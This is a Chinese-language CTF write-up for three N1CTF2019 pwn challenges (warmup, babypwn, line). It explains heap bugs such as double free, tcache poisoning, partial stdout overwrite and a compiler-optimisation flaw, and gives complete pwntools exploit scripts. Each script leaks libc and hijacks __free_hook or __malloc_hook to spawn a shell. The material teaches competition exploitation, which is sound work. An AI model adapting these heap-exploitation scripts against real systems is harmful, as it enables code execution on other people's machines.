N1CTF2019 部分pwn题解

n1ctf2019部分pwn题解

warmup

漏洞利用

程序free的时候会把chunk_addr放到bss里,free(ptr)完毕清空list但是不清空ptr,因此会有double free,但只是针对当前块。edit是从chk_lis取地址进ptr,因此没有UAF。先double free,部分写分配到前面的heap修改size,由于libc版本是2.27,改完size后free8次得到ub。

由于只能固定分配0x50大小的chunk,我们先用double free改掉打算做overlapping chunk的size为0x41,再free的话放入tcache[0x40],从而malloc(0x40)的时候不会用到这个块,构造overlapping chunk,让刚才tcache的fd写入main_arena+96,再部分写改成stdout,其size再改回0x51,最后用double free构造分配链到这个chunk,最终可以分配stdout,后面泄露地址,拿shell即可。

bins

exp.py

关闭地址随机化的非爆破版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./warmup')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./warmup')

def Add(content):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil("content>>")
p.send(content)

def Delete(index):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil("index:")
p.sendline(str(index))

def Edit(index,content):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("content>>")
p.send(content)

def exp():
#leak libc
Add('0')#0
Add('1')#1
Add('2')#2
Add('3')#3
Add('4')#4
Delete(2)
Delete(1)
Delete(1)

Add('\x60')#1
Add('\x00')#2 == initial 1
Add(p64(0)+p64(0xf1))#6
for i in range(8):
Delete(0)
Delete(3)
Delete(1)
Delete(1)
Edit(2,'\xb0')
#
Add('0')#0
Add(p64(0)+p64(0x41))#1
Delete(0)
Add('0')#0
Add('3')#0

Edit(1,p64(0)+p64(0x51))
Edit(2,'\x60\x07\xdd')
#

Delete(4)
Delete(4)
Delete(0)
Delete(0)
Add('\xc0')#0
Add('a')#6
Add('a')#7

Add(p64(0xfbad1800)+p64(0)*3+'\x00')#8
#
p.recvn(0x20)
libc_base = u64(p.recv(8)) - (0x7ffff7dcf780-0x7ffff79e4000)
libc.address = libc_base
log.success("libc base => " + hex(libc_base))
#get shell

Delete(0)
Edit(4,p64(libc.sym['__free_hook']))
Add('/bin/sh\x00')
Add(p64(libc.sym['system']))#8
Delete(0)
p.interactive()

exp()

babypwn

漏洞利用

Throw的时候double free,由于程序只能add十次,需要用完清空,bss上有stdout,stdin,stderr,以stdin的’\x7f’为fake size构造fake chunk,部分写stderr(部分写stdout清空bss的时候会使得输出紊乱)。最后构造free链,分配到bss上stderr部分时第二次清空bss最终one_gadget覆写malloc_hook即可。(注意一旦free链形成之后我们可以清空其fd)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./babypwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./babypwn')

def Add(name,des_size,des,flag=1):
if flag == 1:
p.recvuntil('choice:')
else:
p.recvuntil('3.Exit\n')
p.sendline('1')
p.recvuntil("Member name:")
p.send(name)
p.recvuntil("Description size:")
p.sendline(str(des_size))
p.recvuntil("Description:")
p.send(des)

def Add1(name,des_size,des):
p.recvuntil('3.Exit\n\n======================')
p.sendline('1')
time.sleep(0.05)
p.send(name)
time.sleep(0.05)
p.sendline(str(des_size))
time.sleep(0.05)
p.send(des)

def Throw(index,flag=1):
if flag:
p.recvuntil('choice:')
else:
p.recvuntil('3.Exit\n\n======================')
p.sendline('2')
if flag:
p.recvuntil("index:")
else:
time.sleep(0.05)
p.sendline(str(index))

def exp():
#leak libc
Add('0',0x68,'0')#0
Add('1',0x68,'1')#1
Throw(0)
Throw(1)
Throw(0)
#fake stdout

fake_chunk = 0x60201d
Add('2',0x68,p64(fake_chunk))#2 == ini 0
Add('3',0x68,'3')
Add('4',0x68,'4')# 4 == ini 0
Add('5',0x68,'\x00'*3+p64(0)+p64(0x71)+'\xdd\x25')#

p.sendline()
#memeset the buf
fake_chunk = 0x60203d
Throw(2)
Throw(3)
Throw(2)

Add('6',0x68,p64(fake_chunk))
Add('7',0x68,'7')
Add('8',0x68,'8')
Add('9',0x68,'\x00'*11+p64(0x31)+p64(0)*10)
Add('0',0x68,'0')
Add('1',0x68,'1')
Throw(0)
Throw(1)
Throw(0)
fake_chunk = 0x602030
#memset the buf

Add('2',0x68,p64(fake_chunk))
Add('3',0x68,'3')
Add('4',0x68,'4')

Add('5',0x68,'\x00'*0x68)#0x602020
Add('0',0x68,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')

#2 == 4
p.recvuntil("\xff\x7f\x00\x00",drop=True)
libc_addr = u64(p.recvn(8))
log.success("libc addr => " + hex(libc_addr))
libc_base = libc_addr - (0x7ffff7dd26a3-0x7ffff7a0d000)
libc.address = libc_base
log.success('libc base => ' + hex(libc_base))
#2 == 4
#get shell
Add('1',0x68,'1')
Add('2',0x68,'2')
Throw(1)
Throw(2)
Throw(1)
Add('3',0x68,p64(libc.sym['__malloc_hook']-0x23))
Add('4',0x68,'4')
Add('5',0x68,'5')
Add('6',0x68,'\x00'*0x13+p64(libc_base+gadgets[2]))
#gdb.attach(p)
Throw(3)
Throw(3)
p.interactive()

exp()

line

前言

这道题是很新颖的题目,自己做不出,看着Ex师傅的exp勉强懂了一点,这里记录一下大概思路,具体漏洞的产生请移步Ex师傅这里。
Ex

程序逻辑

程序维护了一个结构体列表,模拟排队,每次有新人进来之后用户输入ID,如果ID为负数或者队伍中已经有相同ID就退出,否则去看排队的人数,如果超过上限之后触发离队的逻辑,free掉分配的堆块。

forward_line是离队的逻辑函数,这里会将最先排队的人释放,释放调用people_quie,遍历people_list寻找目标ID,找到后free并将is_waiting置为false。

程序漏洞

程序源代码没有问题,问题出现在编译过程中,代码的指令集是AVX,优化过程导致lookup_people的逻辑出现问题,这个问题导致的结果是当我们添加相同ID的堆块的时候lookip_line的返回值绕过了判断逻辑(触发条件为第一个ID所在的index=0),可以添加相同的堆块,进而在Free第一个ID的时候Free了两个块(1 && 2),再次Free这个ID的时候Free了(1),即double free。

泄露libc可以申请8次大的chunk,得到ub,用malloc size = 1的块绕过memset的清空,得到libc_base,再用刚才的漏洞获取shell。

Ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system(
'rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './line'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
define pr
x/8wx $rebase(0x202140)
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def New(id, size, content):
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(id))
sh.sendlineafter('SIZE: ', str(size))
sh.send(content)

def show():
sh.sendlineafter('choice: ', '2')

for i in range(8):
New(i + 1, 0xf8, '\n')

for i in range(7):
New(i + 0x10, 0x28, '\n')

New(0x100, 1, '\xa0')
show()
sh.recvuntil('8 : 256 (')
result = sh.recvuntil(')', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 0x160
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

New(0x100, 1, '\n')

for i in range(7):
if(0x20 + i == 0x23):
New(0x20 + i, 0x38, '/bin/sh\0')
else:
New(0x20 + i, 0x38, '\n')

New(0x101, 0x38, '\n')
New(0x102, 0x18, p64(libc_addr + libc.symbols['__free_hook']))
New(0x103, 0x18, '\n')
New(0x104, 0x18, p64(libc_addr + libc.symbols['system']))
sh.sendlineafter('choice: ', '1')
sh.sendlineafter('ID: ', str(0x105))

sh.interactive()
clear()

参考

Ex师傅

您的支持将鼓励我继续创作